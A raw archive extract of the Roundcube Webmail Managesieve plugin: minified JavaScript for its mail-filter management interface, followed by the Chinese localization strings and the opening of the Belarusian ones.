i=smart_field_row("",(new Date).getTime(),a);t.parent().after(i),$("input",i).focus()}else if((8==e.which||46==e.which)&&""==t.val()){i=t.parent();if(1<i.parent().children().length)return(i.prev().length?i.prev():i.next()).children("input").focus(),i.remove(),!1}});return $('span[class="reset"]',i).click(function(){var e=$(this.parentNode);1<e.parent().children().length?e.remove():$("input",e).val("").focus()}),i}function smart_field_reset(i,e){if(window.UI&&UI.smart_field_reset)return UI.smart_field_reset(i,e);var t=i.id+"_list",e=e.length?e:[""];(area=$("#"+t)).empty(),$.each(e,function(e,t){area.append(smart_field_row(t,e,i))})}function sieve_formattime(e,t){for(var i,a="",s=rcmail.env.time_format||"H:i",n=0;n<s.length;n++)switch(i=s.charAt(n)){case"a":a+=12<=e?"pm":"am";break;case"A":a+=12<=e?"PM":"AM";break;case"g":case"h":a+=("h"==i&&e<10?"0":"")+e;break;case"G":a+=e;break;case"H":a+=(e<10?"0":"")+e;break;case"i":a+=(t<10?"0":"")+t;break;case"s":a+="00";default:a+=i}return a}function sieve_form_init(){var e=rcmail.gui_objects.sieveform;"plugin.managesieve"==rcmail.env.action&&"mail"==rcmail.env.task&&parent.rcmail.managesieve_dialog_resize(e),$('input[type="text"]',e).first().focus(),$('textarea[data-type="list"]',e).each(function(){smart_field_init(this)}),$('[name^="_header"]',e).each(function(){/([0-9]+)$/.test(this.id)&&rule_header_select(RegExp.$1)}),$.datepicker&&rcmail.env.date_format&&($.datepicker.setDefaults({dateFormat:rcmail.env.date_format,changeMonth:!0,showOtherMonths:!0,selectOtherMonths:!0,onSelect:function(e){$(this).focus().val(e)}}),$("input.datepicker").datepicker()),$("#vacation_timefrom, #vacation_timeto").attr("autocomplete","off").autocomplete({delay:100,minLength:1,source:function(e,t){for(var i=[],a=0;a<24;a++)i.push(sieve_formattime(a,0));return i.push(sieve_formattime(23,59)),t(i)},open:function(e,t){var i=$(this),a=i.val(),s=i.autocomplete("widget").css("width","10em"),n=i.data("ui-autocomplete").menu;a&&a.length&&s.children().each(function(){var e=$(this);0==e.text().indexOf(a)&&n._scrollIntoView(e)})},select:function(e,t){return $(this).val(t.item.value),!1}}).click(function(){$(this).autocomplete("search",$(this).val()||" ")}),$("input.error").each(function(){String(this.id).match(/([0-9]+)$/)&&$("#ruleadv"+RegExp.$1+".show").click()})}var cmeditor;function cmCreateErrorElem(e){var t=document.createElement("div");return t.style.color="#822",t.innerHTML="●",t.title=e,t}function cmScrollToError(){var e=$(".CodeMirror-lines .line-error"),t=$(".CodeMirror-scroll");e.parent();t.scrollTop(e.offset().top-t.offset().top-Math.round(t.height()/2))}function sieve_raw_editor_init(){var e=document.getElementById("rawfiltersettxt");e&&!cmeditor&&(cmeditor=CodeMirror.fromTextArea(e,{mode:"sieve",lineNumbers:!0,gutters:["CodeMirror-linenumbers","errorGutter"],styleActiveLine:!0}),$.each(rcmail.env.sieve_errors||[],function(e,t){var i=Number(t.line)-1;cmeditor.addLineClass(i,"background","line-error"),cmeditor.setGutterMarker(i,"errorGutter",cmCreateErrorElem(t.msg)),e||cmScrollToError()}))}window.rcmail&&rcmail.addEventListener("init",function(e){var t;"mail"==rcmail.env.task&&("show"!=rcmail.env.action?rcmail.env.message_commands.push("managesieve-create"):rcmail.enable_command("managesieve-create",!0)),"mail"!=rcmail.env.task&&!rcmail.env.action.startsWith("plugin.managesieve")||rcmail.env.framed||(rcmail.env.ms_tip_layer=$('<div id="managesieve-tip" class="popupmenu"></div>'),rcmail.env.ms_tip_layer.appendTo(document.body)),rcmail.register_command("plugin.managesieve-save",function(){rcmail.managesieve_save()}),rcmail.register_command("plugin.managesieve-act",function(){rcmail.managesieve_act()}),rcmail.register_command("plugin.managesieve-add",function(){rcmail.managesieve_add()}),rcmail.register_command("plugin.managesieve-del",function(){rcmail.managesieve_del()}),rcmail.register_command("plugin.managesieve-move",function(){rcmail.managesieve_move()}),rcmail.register_command("plugin.managesieve-setadd",function(){rcmail.managesieve_setadd()}),rcmail.register_command("plugin.managesieve-setdel",function(){rcmail.managesieve_setdel()}),rcmail.register_command("plugin.managesieve-setact",function(){rcmail.managesieve_setact()}),rcmail.register_command("plugin.managesieve-setget",function(){rcmail.managesieve_setget()}),rcmail.register_command("plugin.managesieve-seteditraw",function(){rcmail.managesieve_seteditraw()}),rcmail.env.action.startsWith("plugin.managesieve")&&(rcmail.gui_objects.sieveform?(rcmail.enable_command("plugin.managesieve-save",!0),sieve_form_init()):rcmail.gui_objects.sievesetrawform?(rcmail.enable_command("plugin.managesieve-save",!0),sieve_raw_editor_init()):(rcmail.enable_command("plugin.managesieve-add",!rcmail.env.sieveconnerror&&-1==$.inArray("new_filter",rcmail.env.managesieve_disabled_actions)),rcmail.enable_command("plugin.managesieve-setadd",!rcmail.env.sieveconnerror&&-1==$.inArray("new_set",rcmail.env.managesieve_disabled_actions))),t=rcmail.env.currentset,rcmail.gui_objects.filterslist&&(rcmail.filters_list=new rcube_list_widget(rcmail.gui_objects.filterslist,{multiselect:!1,draggable:!0,keyboard:!0}),rcmail.filters_list.addEventListener("select",function(e){rcmail.managesieve_select(e)}).addEventListener("keypress",function(e){rcmail.list_keypress(e,{del:"plugin.managesieve-del"})}).addEventListener("dragstart",function(e){rcmail.managesieve_dragstart(e)}).addEventListener("dragend",function(e){rcmail.managesieve_dragend(e)}).addEventListener("initrow",function(e){e.obj.onmouseover=function(){rcmail.managesieve_focus_filter(e)},e.obj.onmouseout=function(){rcmail.managesieve_unfocus_filter(e)}}).init()),rcmail.gui_objects.filtersetslist)&&(rcmail.filtersets_list=new rcube_list_widget(rcmail.gui_objects.filtersetslist,{multiselect:!1,draggable:!1,keyboard:!0}),rcmail.filtersets_list.init().focus(),null!=t&&($("#filterset-name").text(t),t=rcmail.managesieve_setid(t),rcmail.filtersets_list.select(t)),rcmail.filtersets_list.addEventListener("select",function(e){rcmail.managesieve_setselect(e)}),t=rcmail.filtersets_list.rowcount,rcmail.enable_command("plugin.managesieve-set",!0),rcmail.enable_command("plugin.managesieve-setact",0<t&&-1==$.inArray("enable_disable_set",rcmail.env.managesieve_disabled_actions)),rcmail.enable_command("plugin.managesieve-setget",0<t&&-1==$.inArray("download_set",rcmail.env.managesieve_disabled_actions)),rcmail.enable_command("plugin.managesieve-setdel",1<t&&-1==$.inArray("delete_set",rcmail.env.managesieve_disabled_actions)),rcmail.enable_command("plugin.managesieve-seteditraw",0<t&&rcmail.env.raw_sieve_editor),$("tr",rcmail.gui_objects.filtersetslist).each(function(e,t){rcmail.managesieve_fixdragend(t)}))}),rcube_webmail.prototype.managesieve_add=function(){this.load_managesieveframe("_nav=hide",!0)},rcube_webmail.prototype.managesieve_del=function(){var s=this.filters_list.get_single_selection();this.confirm_dialog(this.get_label("managesieve.filterdeleteconfirm"),"delete",function(e,t){var i="_act=delete&_fid="+t.filters_list.rows[s].uid,a=t.set_busy(!0,"loading");t.http_post("plugin.managesieve-action",i,a)})},rcube_webmail.prototype.managesieve_act=function(){var e=this.filters_list.get_single_selection(),t=this.set_busy(!0,"loading");this.http_post("plugin.managesieve-action","_act=act&_fid="+this.filters_list.rows[e].uid,t)},rcube_webmail.prototype.managesieve_select=function(e){var t=e.get_single_selection(),e=(null!=t&&(t=e.rows[t].uid,this.load_managesieveframe("_fid="+t)),void 0!==t&&null!=t);this.enable_command("plugin.managesieve-act",e),this.enable_command("plugin.managesieve-del",e&&-1==$.inArray("delete_filter",rcmail.env.managesieve_disabled_actions))},rcube_webmail.prototype.managesieve_setselect=function(e){this.enable_command("plugin.managesieve-setdel",1<e.rowcount&&-1==$.inArray("delete_set",rcmail.env.managesieve_disabled_actions)),this.enable_command("plugin.managesieve-setact",0<e.rowcount&&-1==$.inArray("enable_disable_set",rcmail.env.managesieve_disabled_actions)),this.enable_command("plugin.managesieve-setget",0<e.rowcount&&-1==$.inArray("delete_set",rcmail.env.managesieve_disabled_actions)),this.enable_command("plugin.managesieve-seteditraw",0<e.rowcount&&this.env.raw_sieve_editor),rcmail.env.contextmenu_opening||(this.show_contentframe(!1),this.filters_list.clear(!0),null!=(e=e.get_single_selection())&&(this.managesieve_list(this.env.filtersets[e]),$("#filterset-name").text(this.env.filtersets[e])))},rcube_webmail.prototype.managesieve_rowid=function(e){var t,i=this.filters_list.rows;for(t in i)if(null!=i[t]&&i[t].uid==e)return t},rcube_webmail.prototype.managesieve_setid=function(e){for(var t in this.env.filtersets)if(this.env.filtersets[t]==e)return t},rcube_webmail.prototype.managesieve_list=function(e){var t=this.set_busy(!0,"loading");this.http_post("plugin.managesieve-action","_act=list&_set="+urlencode(e),t)},rcube_webmail.prototype.managesieve_setget=function(){var e=this.filtersets_list.get_single_selection(),e=this.env.filtersets[e];this.goto_url("plugin.managesieve-action",{_act:"setget",_set:e},!1,!0)},rcube_webmail.prototype.managesieve_setact=function(){var e=this.filtersets_list.get_single_selection(),t=this.set_busy(!0,"loading"),i=this.env.filtersets[e],e=$("#rcmrow"+e).hasClass("disabled")?"setact":"deact";this.http_post("plugin.managesieve-action","_act="+e+"&_set="+urlencode(i),t)},rcube_webmail.prototype.managesieve_setdel=function(){var s=this.filtersets_list.get_single_selection();this.confirm_dialog(this.get_label("managesieve.setdeleteconfirm"),"delete",function(e,t){var i=t.env.filtersets[s],a=t.set_busy(!0,"loading");t.http_post("plugin.managesieve-action","_act=setdel&_set="+urlencode(i),a)})},rcube_webmail.prototype.managesieve_seteditraw=function(){var e=this.filtersets_list.get_single_selection(),e=this.env.filtersets[e];this.load_managesieveframe("_nav=hide&_seteditraw=1&_set="+urlencode(e),!0)},rcube_webmail.prototype.managesieve_setadd=function(){this.load_managesieveframe("_nav=hide&_newset=1",!0)},rcube_webmail.prototype.managesieve_updatelist=function(e,t){switch(this.set_busy(!0),e){case"del":var i=t.id;(s=this.filters_list).remove_row(this.managesieve_rowid(t.id)),this.show_contentframe(!1),this.reset_filters_list(),$("tr",this.filters_list.list).each(function(){var e;"none"==this.style.display?$(this).detach():(e=this.id.substr(6),$(this).off(),i<e&&(this.uid=String(e-1),$(this).attr("id","rcmrow"+this.uid)))}),s.init();break;case"update":var a=$("#rcmrow"+this.managesieve_rowid(t.id));t.name&&$("td",a).text(t.name),t.disabled?a.addClass("disabled"):a.removeClass("disabled"),$("#fenabled",$("iframe").contents()).prop("checked",!t.disabled);break;case"add":var s=this.filters_list,a=$('<tr><td class="name"></td></tr>');$("td",a).text(t.name),a.attr("id","rcmrow"+t.id),t.disabled&&a.addClass("disabled"),s.insert_row(a.get(0)),s.highlight_row(t.id),this.enable_command("plugin.managesieve-del",-1==$.inArray("delete_rule",rcmail.env.managesieve_disabled_actions)),this.enable_command("plugin.managesieve-act",!0);break;case"list":var n,r,l,o,s=this.filters_list;for(n in t.clear&&s.clear(),t.list)o=t.list[n],r=document.createElement("TR"),l=document.createElement("TD"),$(l).text(o.name),l.className="name",r.id="rcmrow"+o.id,o.class&&(r.className=o.class),r.appendChild(l),s.insert_row(r);t.set?s.highlight_row(t.set):this.enable_command("plugin.managesieve-del","plugin.managesieve-act",!1);break;case"setact":i=this.managesieve_setid(t.name),a=$("#rcmrow"+i);t.active?(t.all&&$("tr",this.gui_objects.filtersetslist).addClass("disabled"),a.removeClass("disabled")):a.addClass("disabled");break;case"setdel":i=this.managesieve_setid(t.name);this.filters_list.clear(),this.show_contentframe(!1),this.enable_command("plugin.managesieve-setdel","plugin.managesieve-setact","plugin.managesieve-setget","plugin.managesieve-seteditraw",!1),this.filtersets_list.remove_row(i,!0),delete this.env.filtersets[i];break;case"setadd":var c,i="S"+(new Date).getTime(),s=this.filtersets_list,a=$('<tr class="disabled"><td class="name"></td></tr>');$("td",a).text(t.name),a.attr("id","rcmrow"+i),this.env.filtersets[i]=t.name,s.insert_row(a.get(0)),t.index!=s.rowcount-1&&(a.detach(),c=$("tr:visible",s.list).get(t.index),a.insertBefore(c)),s.select(i),this.managesieve_fixdragend(a);break;case"refresh":this.reset_filters_list(!0)}this.set_busy(!1)},rcube_webmail.prototype.reset_filters_list=function(e){this.filters_list.clear_selection(),this.enable_command("plugin.managesieve-act","plugin.managesieve-del",!1),e&&(e=this.filtersets_list.get_single_selection(),this.filters_list.clear(!0),this.managesieve_list(this.env.filtersets[e]))},rcube_webmail.prototype.load_managesieveframe=function(e,t){t&&this.reset_filters_list();t=this.get_frame_window(this.env.contentframe),e=this.url("plugin.managesieve-action","_framed=1"+(e?"&"+e:""));t&&this.location_href(e,t,!0)},rcube_webmail.prototype.managesieve_dragstart=function(e){var t=this.filters_list.get_single_selection();this.drag_active=!0,this.drag_filter=t},rcube_webmail.prototype.managesieve_dragend=function(e){var t;this.drag_active&&(this.drag_filter_target&&(t=this.set_busy(!0,"loading"),this.show_contentframe(!1),this.http_post("plugin.managesieve-action","_act=move&_fid="+this.drag_filter+"&_to="+this.drag_filter_target,t)),this.drag_active=!1)},rcube_webmail.prototype.managesieve_fixdragend=function(e){var t=this;$(e).on("mouseup"+(bw.iphone||bw.ipad?" touchend":""),function(e){t.drag_active&&t.filters_list.drag_mouse_up(e)})},rcube_webmail.prototype.managesieve_focus_filter=function(e){var t=e.id.replace(/^rcmrow/,"");this.drag_active&&t!=this.drag_filter&&(this.drag_filter_target=t,$(e.obj).addClass(t<this.drag_filter?"filtermoveup":"filtermovedown"))},rcube_webmail.prototype.managesieve_unfocus_filter=function(e){this.drag_active&&($(e.obj).removeClass("filtermoveup filtermovedown"),this.drag_filter_target=null)},rcube_webmail.prototype.managesieve_save=function(){var e;"plugin.managesieve-vacation"==this.env.action?(e=$(this.gui_objects.sieveform).serialize(),this.http_post("plugin.managesieve-vacation",e,this.display_message(this.get_label("managesieve.vacation.saving"),"loading"))):"plugin.managesieve-forward"==this.env.action?(e=$(this.gui_objects.sieveform).serialize(),this.http_post("plugin.managesieve-forward",e,this.display_message(this.get_label("managesieve.forward.saving"),"loading"))):this.gui_objects.sieveform?(parent.rcmail&&parent.rcmail.filters_list&&"filtersetform"!=this.gui_objects.sieveform.name&&null!=(e=parent.rcmail.filters_list.get_single_selection())&&(this.gui_objects.sieveform.elements._fid.value=parent.rcmail.filters_list.rows[e].uid),this.gui_objects.sieveform.submit()):this.gui_objects.sievesetrawform&&this.gui_objects.sievesetrawform.submit()},rcube_webmail.prototype.managesieve_ruleadd=function(e){this.http_post("plugin.managesieve-action","_act=ruleadd&_rid="+e)},rcube_webmail.prototype.managesieve_rulefill=function(e,t,i){var a;""!=e&&(a=$("#rules")[0],t=$("<div>").attr({class:"rulerow",id:"rulerow"+t}).html(e),this.managesieve_insertrow(a,t,i),$('textarea[data-type="list"]',t).each(function(){smart_field_init(this)}),this.managesieve_formbuttons(a))},rcube_webmail.prototype.managesieve_ruledel=function(a){$("#ruledel"+a).hasClass("disabled")||this.confirm_dialog(this.get_label("managesieve.ruledeleteconfirm"),"delete",function(e,t){var i=document.getElementById("rulerow"+a);i.parentNode.removeChild(i),t.managesieve_formbuttons(document.getElementById("rules"))})},rcube_webmail.prototype.managesieve_actionadd=function(e){this.http_post("plugin.managesieve-action","_act=actionadd&_aid="+e)},rcube_webmail.prototype.managesieve_actionfill=function(e,t,i){var a;""!=e&&(a=$("#actions")[0],t=$("<div>").attr({class:"actionrow",id:"actionrow"+t}).html(e),this.managesieve_insertrow(a,t,i),$('textarea[data-type="list"]',t).each(function(){smart_field_init(this)}),this.managesieve_formbuttons(a))},rcube_webmail.prototype.managesieve_actiondel=function(a){$("#actiondel"+a).hasClass("disabled")||this.confirm_dialog(this.get_label("managesieve.actiondeleteconfirm"),"delete",function(e,t){var i=document.getElementById("actionrow"+a);i.parentNode.removeChild(i),t.managesieve_formbuttons(document.getElementById("actions"))})},rcube_webmail.prototype.managesieve_insertrow=function(e,t,i){i=$("#"+("rules"==$(e).attr("id")?"rulerow":"actionrow")+i)[0];i?$(t).insertAfter(i):$(e).append(t),this.triggerEvent("managesieve.insertrow",{obj:t})},rcube_webmail.prototype.managesieve_formbuttons=function(e){e=$("a.delete",e);e.removeClass("disabled"),1==e.length&&e.addClass("disabled")},rcube_webmail.prototype.managesieve_vacation_addresses=function(e){var t=this.set_busy(!0,"loading");this.http_post("plugin.managesieve-action",{_act:"addresses",_aid:e},t)},rcube_webmail.prototype.managesieve_vacation_addresses_update=function(e,t){smart_field_reset($("#vacation_addresses,#action_addresses"+(e||"")).get(0),t)},rcube_webmail.prototype.managesieve_tip_register=function(e){if(window.UI&&UI.form_errors)return UI.form_errors(e);var t,r=parent.rcmail,l=(r?parent.rcmail:rcmail).env.ms_tip_layer;for(t in e)$("#"+e[t][0]).data("tip-class",e[t][1]).data("tip-msg",e[t][2]).mouseleave(function(e){l.hide()}).mouseenter(function(e){var t=$(this),i=t.offset(),a=i.left,s=i.top-12,n=t.width(),t=$("<span>").addClass(t.data("tip-class")).text(t.data("tip-msg"));r&&(s+=(i=$("mail"==rcmail.env.task?"#sievefilterform > iframe":"#filter-box",parent.document).offset()).top,a+=i.left),l.html("").append(t),s-=l.height(),l.css({left:a,top:s,minWidth:n-2+"px"}).show()})},rcube_webmail.prototype.managesieve_create=function(e){var t,a,s,n;e||"show"==this.env.action?this.env.sieve_headers&&this.env.sieve_headers.length&&(e={},a=this.get_label("managesieve.newfilter"),s=$('<div id="sievefilterform" class="propform"></div>'),n={minWidth:600,minHeight:250,height:300},s.append($("<fieldset>").append($("<legend>").text(this.get_label("managesieve.usedata"))).append($('<ul class="proplist">'))),$.each(this.env.sieve_headers,function(e,t){var i={type:"checkbox",name:"headers[]",id:"sievehdr"+e,value:e,checked:!0},a=rcmail.env.sieve_headers[e][0]+": "+rcmail.env.sieve_headers[e][1];$("ul",s).append($("<li>").append($("<input>").attr(i)).append($("<label>").attr("for","sievehdr"+e).text(a)))}),e[this.get_label("managesieve.nextstep")]=function(){var t,e,i=$('input[name="headers[]"]:checked',s);i.length?(t=rcmail.get_task_url("mail"),t=rcmail.add_url(t,"_action","plugin.managesieve"),t=rcmail.add_url(t,"_framed",1),i.map(function(){var e=rcmail.env.sieve_headers[this.value];t=rcmail.add_url(t,"r["+this.value+"]",e[0]+":"+e[1])}),i={},e=$("<iframe>").attr({src:t,frameborder:0}),i[rcmail.get_label("save")]=function(){$("iframe",s).get(0).contentWindow.rcmail.managesieve_save()},i[rcmail.get_label("cancel")]=function(){$(this).dialog("destroy")},s.dialog("destroy"),rcmail.env.managesieve_dialog=s=rcmail.show_popup_dialog(e,a,i,$.extend(n,{button_classes:["mainaction save","cancel"]}))):rcmail.alert_dialog(rcmail.get_label("managesieve.nodata"))},e[this.get_label("cancel")]=function(){$(this).dialog("destroy")},this.env.managesieve_dialog=s=this.show_popup_dialog(s,a,e,$.extend(n,{button_classes:["mainaction next","cancel"]}))):(e=this.message_list.get_single_selection(),t=this.set_busy(!0,"loading"),this.http_post("plugin.managesieve-action",{_uid:e},t))},rcube_webmail.prototype.managesieve_dialog_close=function(){this.env.managesieve_dialog.dialog("destroy")},rcube_webmail.prototype.managesieve_dialog_resize=function(e){var t=this.env.managesieve_dialog,i=$(window),a=$(e);width=$("fieldset",e).first().width(),height=a.height(),w=i.width(),h=i.height(),height<100||t.dialog("option",{height:Math.min(h-20,height+120),width:Math.min(w-20,width+65)})};
PKh�\�wF��*�**plugins/managesieve/localization/zh_CN.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Managesieve plugin         |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-managesieve/
*/


$labels['filters'] = '过滤器';
$labels['managefilters'] = '管理邮件过滤规则';
$labels['filtername'] = '过滤规则名称';
$labels['newfilter'] = '新建过滤规则';
$labels['filteradd'] = '添加过滤规则';
$labels['filterdel'] = '删除过滤规则';
$labels['rules'] = '规则';
$labels['actions'] = '动作';
$labels['scope'] = '范围';
$labels['moveup'] = '上移';
$labels['movedown'] = '下移';
$labels['filterallof'] = '匹配所有规则';
$labels['filteranyof'] = '匹配任意一条规则';
$labels['filterany'] = '所有邮件';
$labels['filtercontains'] = '包含';
$labels['filternotcontains'] = '不包含';
$labels['filteris'] = '等于';
$labels['filterisnot'] = '不等于';
$labels['filterexists'] = '存在';
$labels['filternotexists'] = '不存在';
$labels['filtermatches'] = '匹配表达式';
$labels['filternotmatches'] = '不匹配表达式';
$labels['filterregex'] = '匹配正则表达式';
$labels['filternotregex'] = '不匹配正则表达式';
$labels['filterunder'] = '小于';
$labels['filterover'] = '大于';
$labels['mime'] = 'MIME:';
$labels['mimepart'] = 'MIME 部分:';
$labels['mime-message'] = '消息';
$labels['mime-anychild'] = '任意';
$labels['mime-type'] = '类型';
$labels['mime-subtype'] = '子类型';
$labels['mime-contenttype'] = '内容类型';
$labels['mime-param'] = '参数';
$labels['addrule'] = '新建规则';
$labels['delrule'] = '删除规则';
$labels['messagemoveto'] = '将邮件移至';
$labels['messageredirect'] = '将邮件转发至';
$labels['messagecopyto'] = '复制邮件至';
$labels['messagesendcopy'] = '发送复制邮件至';
$labels['messagereply'] = '回复以下内容';
$labels['messagedelete'] = '删除邮件';
$labels['messagediscard'] = '舍弃邮件并回复以下内容';
$labels['messagekeep'] = '保留邮件在收件箱';
$labels['messagesrules'] = '对新收取的邮件应用规则:';
$labels['messagesactions'] = '执行以下操作:';
$labels['add'] = '添加';
$labels['del'] = '删除';
$labels['sender'] = '发件人';
$labels['recipient'] = '收件人';
$labels['vacationaddr'] = '我的电子邮件地址:';
$labels['vacationdays'] = '发送邮件频率(单位:天):';
$labels['vacationinterval'] = '发送邮件频率:';
$labels['vacationreason'] = '邮件正文(假期原因)';
$labels['vacationfrom'] = '回复发件人地址:';
$labels['vacationsubject'] = '邮件主题';
$labels['days'] = '天';
$labels['seconds'] = '秒';
$labels['rulestop'] = '停止评价规则';
$labels['enable'] = '启用/禁用';
$labels['filtersets'] = '过滤器设置集';
$labels['filterseteditraw'] = '编辑过滤器设置集';
$labels['filterdef'] = '过滤器定义';
$labels['active'] = '启用';
$labels['none'] = '无';
$labels['fromset'] = '从设置集';
$labels['fromfile'] = '从文件';
$labels['filterdisabled'] = '过滤器已禁用';
$labels['countisgreaterthan'] = '计数大于';
$labels['countisgreaterthanequal'] = '计数大于或等于';
$labels['countislessthan'] = '计数小于';
$labels['countislessthanequal'] = '计数小于或等于';
$labels['countequals'] = '计数等于';
$labels['countnotequals'] = '计数器不等于';
$labels['valueisgreaterthan'] = '值大于';
$labels['valueisgreaterthanequal'] = '值大于或等于';
$labels['valueislessthan'] = '值小于';
$labels['valueislessthanequal'] = '值小于或等于';
$labels['valueequals'] = '值等于';
$labels['valuenotequals'] = '值不等于';
$labels['setflags'] = '设定邮件的标识';
$labels['addflags'] = '增加邮件的标识';
$labels['removeflags'] = '删除邮件的标识';
$labels['flagread'] = '读取';
$labels['flagdeleted'] = '删除';
$labels['flaganswered'] = '已答复';
$labels['flagflagged'] = '已标记';
$labels['flagdraft'] = '草稿';
$labels['setvariable'] = '设置变量';
$labels['setvarname'] = '变量名:';
$labels['setvarvalue'] = '值:';
$labels['setvarmodifiers'] = '修改:';
$labels['varlower'] = '小写';
$labels['varupper'] = '大写';
$labels['varlowerfirst'] = '首字母小写';
$labels['varupperfirst'] = '首字母大写';
$labels['varquotewildcard'] = '引用特殊字符';
$labels['varlength'] = '长度';
$labels['notify'] = '发送通知';
$labels['notifytarget'] = '通知目标:';
$labels['notifymessage'] = '通知消息(可选):';
$labels['notifyoptions'] = '通知选项(可选):';
$labels['notifyfrom'] = '通知发件人(可选):';
$labels['notifyimportance'] = '优先级:';
$labels['notifyimportancelow'] = '低';
$labels['notifyimportancenormal'] = '中';
$labels['notifyimportancehigh'] = '高';
$labels['notifymethodmailto'] = '电子邮件';
$labels['notifymethodtel'] = '手机';
$labels['notifymethodsms'] = '短信';
$labels['filtercreate'] = '创建过滤规则';
$labels['usedata'] = '在过滤器中使用下列数据';
$labels['nextstep'] = '下一步';
$labels['...'] = '...';
$labels['string'] = '字符串';
$labels['currdate'] = '当前日期';
$labels['datetest'] = '日期';
$labels['dateheader'] = '头:';
$labels['year'] = '年';
$labels['month'] = '月';
$labels['day'] = '天';
$labels['date'] = '日期 (年-月-日)';
$labels['julian'] = '日期 (儒略日)';
$labels['hour'] = '小时';
$labels['minute'] = '分钟';
$labels['second'] = '秒';
$labels['time'] = '时间 (hh:mm:ss)';
$labels['iso8601'] = '日期 (ISO8601)';
$labels['std11'] = '日期 (RFC2822)';
$labels['zone'] = '时区';
$labels['weekday'] = '非周末 (0-6)';
$labels['advancedopts'] = '高级选项';
$labels['body'] = '正文';
$labels['address'] = '地址';
$labels['envelope'] = '信封';
$labels['modifier'] = '修饰符:';
$labels['text'] = '文本';
$labels['undecoded'] = '未解码(RAW)';
$labels['contenttype'] = '内容类型';
$labels['modtype'] = '类型:';
$labels['allparts'] = '全部';
$labels['domain'] = '域';
$labels['localpart'] = '本地部份';
$labels['user'] = '用户';
$labels['detail'] = '细节';
$labels['comparator'] = '比较:';
$labels['default'] = '默认';
$labels['octet'] = '严格模式(字节)';
$labels['asciicasemap'] = '不区分大小写(ascii 字符)';
$labels['asciinumeric'] = '数字类型(ascii 数字)';
$labels['index'] = '索引:';
$labels['indexlast'] = '向后';
$labels['spamtestequals'] = '等于';
$labels['spamtestnotequals'] = '不等于';
$labels['vacation.reply'] = '回复消息';
$labels['vacation.advanced'] = '高级设置';
$labels['vacation.from'] = '回复发件人地址';
$labels['vacation.subject'] = '主题';
$labels['vacation.body'] = '正文';
$labels['vacation.status'] = '状态';
$labels['vacation.on'] = '开';
$labels['vacation.off'] = '关';
$labels['vacation.addresses'] = '我的电子邮件地址';
$labels['vacation.interval'] = '回复间隔';
$labels['vacation.saving'] = '正在保存数据...';
$labels['vacation.action'] = '传入邮件操作';
$labels['vacation.keep'] = '保留';
$labels['vacation.discard'] = '丢弃';
$labels['vacation.redirect'] = '重定向到';
$labels['vacation.copy'] = '发送副本到';
$labels['forward'] = '转发';
$labels['forward.redirect'] = '重定向到';
$labels['forward.copy'] = '发送副本到';
$labels['forward.on'] = '开';
$labels['forward.off'] = '关';
$labels['forward.status'] = '状态:';
$labels['forward.action'] = '对于来信执行如下动作:';
$labels['forward.saving'] = '正在保存数据...';
$labels['filladdresses'] = '填入我的所有地址';
$labels['arialabelfiltersetactions'] = '过滤器集操作';
$labels['arialabelfilteractions'] = '过滤器操作';
$labels['arialabelfilterform'] = '过滤器属性';
$labels['ariasummaryfilterslist'] = '过滤器列表';
$labels['ariasummaryfiltersetslist'] = '过滤器集列表';
$labels['filterstitle'] = '编辑传入邮件过滤器';
$labels['vacationtitle'] = '编辑非办公室规则';
$labels['forwardtitle'] = '编辑邮件转发规则';
$labels['message'] = '消息';
$labels['duplicate'] = '是重复';
$labels['notduplicate'] = '是非重复';
$labels['duplicate.handle'] = '头:';
$labels['duplicate.header'] = '头:';
$labels['duplicate.uniqueid'] = '标识符:';
$labels['duplicate.seconds'] = '超时(秒):';
$labels['duplicate.last'] = '相对于最后一次执行';
$messages['filterunknownerror'] = '未知的服务器错误';
$messages['filterconnerror'] = '无法连接至服务器';
$messages['filterdeleteerror'] = '无法删除过滤器。发生服务器错误。';
$messages['filterdeleted'] = '过滤器已成功删除';
$messages['filtersaved'] = '过滤器已成功保存。';
$messages['filtersaveerror'] = '无法保存过滤器。发生服务器错误。';
$messages['filterformerror'] = '过滤器表单包含错误。';
$messages['filterdeleteconfirm'] = '您确定要删除所选择的过滤器吗?';
$messages['ruledeleteconfirm'] = '您确定要删除所选择的规则吗?';
$messages['actiondeleteconfirm'] = '您确定要删除所选择的操作吗?';
$messages['forbiddenchars'] = '内容包含禁用字符';
$messages['cannotbeempty'] = '内容不能为空';
$messages['ruleexist'] = '指定过滤器名称已存在。';
$messages['activateerror'] = '无法启用选定过滤器。发生服务器错误。';
$messages['deactivateerror'] = '无法禁用选定过滤器。发生服务器错误。';
$messages['deactivated'] = '启用过滤器成功。';
$messages['activated'] = '禁用过滤器成功。';
$messages['moved'] = '移动过滤器成功。';
$messages['moveerror'] = '无法移动选定过滤器。发生服务器错误。';
$messages['nametoolong'] = '无法创建过滤器集,名称太长。';
$messages['namereserved'] = '保留名称。';
$messages['setexist'] = '设置已存在。';
$messages['nodata'] = '至少选择一个位置!';
$messages['invaliddateformat'] = '无效的日期或日期格式';
$messages['saveerror'] = '无法保存数据。发生服务器错误。';
$messages['forwardsaved'] = '转发数据保存成功';
$messages['emptyvacationbody'] = '假期消息必须有正文!';
$messages['duplicate.conflict.err'] = '不允许头和唯一标识符。';
$messages['disabledaction'] = '不能执行此操作。';
PKh�\$c���*�**plugins/managesieve/localization/be_BE.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Managesieve plugin         |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-managesieve/
*/


$labels['filters'] = 'Фільтры';
$labels['managefilters'] = 'Парадкаваць фільтры атрыманай пошты';
$labels['filtername'] = 'Назва фільтра';
$labels['newfilter'] = 'Новы фільтр';
$labels['filteradd'] = 'Дадаць фільтр';
$labels['filterdel'] = 'Выдаліць фільтр';
$labels['actions'] = 'Дзеянні';
$labels['scope'] = 'Абсяг';
$labels['moveup'] = 'Пасунуць уверх';
$labels['movedown'] = 'Пасунуць уніз';
